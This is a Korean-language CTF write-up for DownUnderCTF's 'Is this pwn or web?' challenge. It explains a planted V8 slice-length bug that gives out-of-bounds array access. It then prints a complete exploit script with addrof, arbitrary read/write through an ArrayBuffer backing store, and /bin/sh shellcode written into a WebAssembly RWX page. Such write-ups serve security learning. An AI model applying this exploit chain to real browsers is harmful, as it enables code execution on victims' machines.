본문으로 바로가기

DownUnderCTF - Is this pwn or web?

Tag

  • V8 engine exploit

  • OOB

  • pointer compression

Summary

  • diffing file analysis

  • addrof & fakeobj

  • exploit

diffing file analysis

디핑 파일은 부분별로 나눠서 보도록 하겠습니다.

1. array-slice.tq

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
        // to be copied out. Therefore, re-check the length before calling
        // the appropriate fast path. See regress-785804.js
        if (SmiAbove(start + count, a.length)) goto Bailout;
-       return ExtractFastJSArray(context, a, start, count);

+       // return ExtractFastJSArray(context, a, start, count);
+       // Instead of doing it the usual way, I've found out that returning it
+       // the following way gives us a 10x speedup!
+
+       const array: JSArray = ExtractFastJSArray(context, a, start, count);
+       const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+           otherwise Bailout;
+       array.ChangeLength(newLength);
+       return array;

일단 디핑파일을 적용했을때의 결과부터 말씀드리겠습니다. 위 부분으로 인하여 취약점이 발생합니다.

원래 slice함수에서 사용하던 처리방식을 주석처리하고, 자체적으로 slice함수를 처리하는 코드를 작성한 모습입니다. 자세하게 볼까요?

const array: JSArray = ExtractFastJSArray(context, a, start, count);
const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2)) otherwise Bailout;
array.ChangeLength(newLength);
return array;

변수 countslice를 진행할 때 첫번째 인자와 두번째 인자의 거리입니다.

변수 start는 첫번째 인자의 값이고, SmiConstant(2)는 상수 "2"를 의미합니다.

예시는 아래와 같습니다.

juntae@ubuntu:~/ctf/downunder$ ./d8 
V8 version 8.7.9
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> a.slice(4,6)
[]

원래 a.slice(4,6)을 실행하면 5와 6이 반환되어야합니다. 하지만, 문제의 d8에서는 아무값도 반환하지 않습니다. 왜그럴까요?

이유는 a.slice(4,6)부분에서 count는 2, start는 4가 되기 때문입니다. 2 - 4 + 2 = 0이 되는 것이죠.

여기서 중요한 한가지는, countstart를 잘 조절하면 연산의 결과값을 -1등의 음수 값으로 만들 수 있다는 점 입니다. 이렇게 되면 v8에서는 배열의 길이를 0xfffffff..으로 인식하고, OOB를 트리거 할 수 있습니다.

2. JSobject

 extern class JSArray extends JSObject {
+ macro ChangeLength(newLength: Smi) {
+   this.length = newLength;
+ }
+  
  macro IsEmpty(): bool {
    return this.length == 0;
  }

간단합니다. JS에서 최상위 오브젝트인 JSObject를 상속하는 JSArray의 길이를 변경할 수 있는 메소드를 추가합니다. 이 메소트는 array-slice.tq에서 사용하게 됩니다.

addrof & fakeobj

일반적인 Browser exploit에서는 addroffakeobj함수를 만들어 aaraaw를 이끌어냅니다. 저는 다른 방식으로 exploit을 진행했는데, 그 방법을 소개하고자 합니다.

1. addrof

먼저, OOB가 발생함을 이용해 배열의 mapobject로 덮고 element에 object를 넣으므로써 원하는 오브젝트의 주소를 leak 할 수 있습니다.

2. fakeobj

fakeobj 없이 ArrayBufferbacking store포인터를 덮어 aawaar을 만들 수 있습니다.

Exploit

var buf = new ArrayBuffer(8);
var f64buf = new Float64Array(buf);
var u64buf = new Uint32Array(buf);

function ftoi(val, size) {
   f64buf[0] = val;

   if(size == 32) {
       return BigInt(u64buf[0]);
  }
else if(size == 64) {
       return BigInt(u64buf[0]) + (BigInt(u64buf[1]) << 32n);
  }
}

function itof(val, size) {
   if(size == 32) {
       u64buf[0] = Number(val & 0xffffffffn);
  }
else if(size == 64) {
       u64buf[0] = Number(val & 0xffffffffn);
       u64buf[1] = Number(val >> 32n);
  }

   return f64buf[0];
}

var hex = function(x) {
  if (x < 0)
      return `-${hex(-x)}`;
  return `0x${x.toString(16)}`;
};

a = [1.1,2.2,3.3,4.4,5.5,6.6]
b = a.slice(4,5)
c = new BigUint64Array([
    0x1111111111111111n,
    0x2222222222222222n,
    0x3333333333333333n,
]);

var idx = 15
var base = BigInt(ftoi(b[idx + 8],64)) & 0xffffffff00000000n;
console.log("[*] Base address : " + hex(base))

objmap = base + 0x824394dn
bintmap = base + 0x8242665n

function addrof(obj) {
    b[idx + 3] = itof(objmap,64);
    c[0] = obj;
    b[idx + 3] = itof(bintmap,64);

    return base + (c[0] & 0xffffffffn);
}

var arb = new ArrayBuffer(0x100);
console.log("[*] ArayBuffer address : " + hex(addrof(arb)))

function aar(addr) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    let buf = new Float64Array(arb);

    return ftoi(buf[0],64);
}

function aaw(addr,value) {
b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
b[idx + 47] = itof(addr >> 32n,64);

    if(typeof value == "number") {
         let buf = new Float64Array(arb);
        buf[0] = itof(value)

    }

else if(typeof value == "string") {
    let buf = new Uint8Array(arb);
    for(let i = 0; i < value.length; i++) {
        buf[i] = value[i].charCodeAt();
    }
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
     
let wasmFunction = wasmInstance.exports.main;

let rwx = aar(addrof(wasmInstance) + 0x67n);
console.log("[*] rwx : " + hex(rwx));

let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";

aaw(rwx,shellcode);

wasmFunction();

주의해야할 점은, pointer compression에 의하여 디버깅이 상대적으로 어렵고, PIE baseleak하듯이 pointerbase주소를 leak해야 한다는 점 입니다.

aawaar을 만든 후에는 WebAssembly를 생성(RWX 영역이 매핑됨)하여 rwx를 만든 후에 이를 쉘코드로 덮고, 실행시켜 쉘을 획득할 수 있습니다.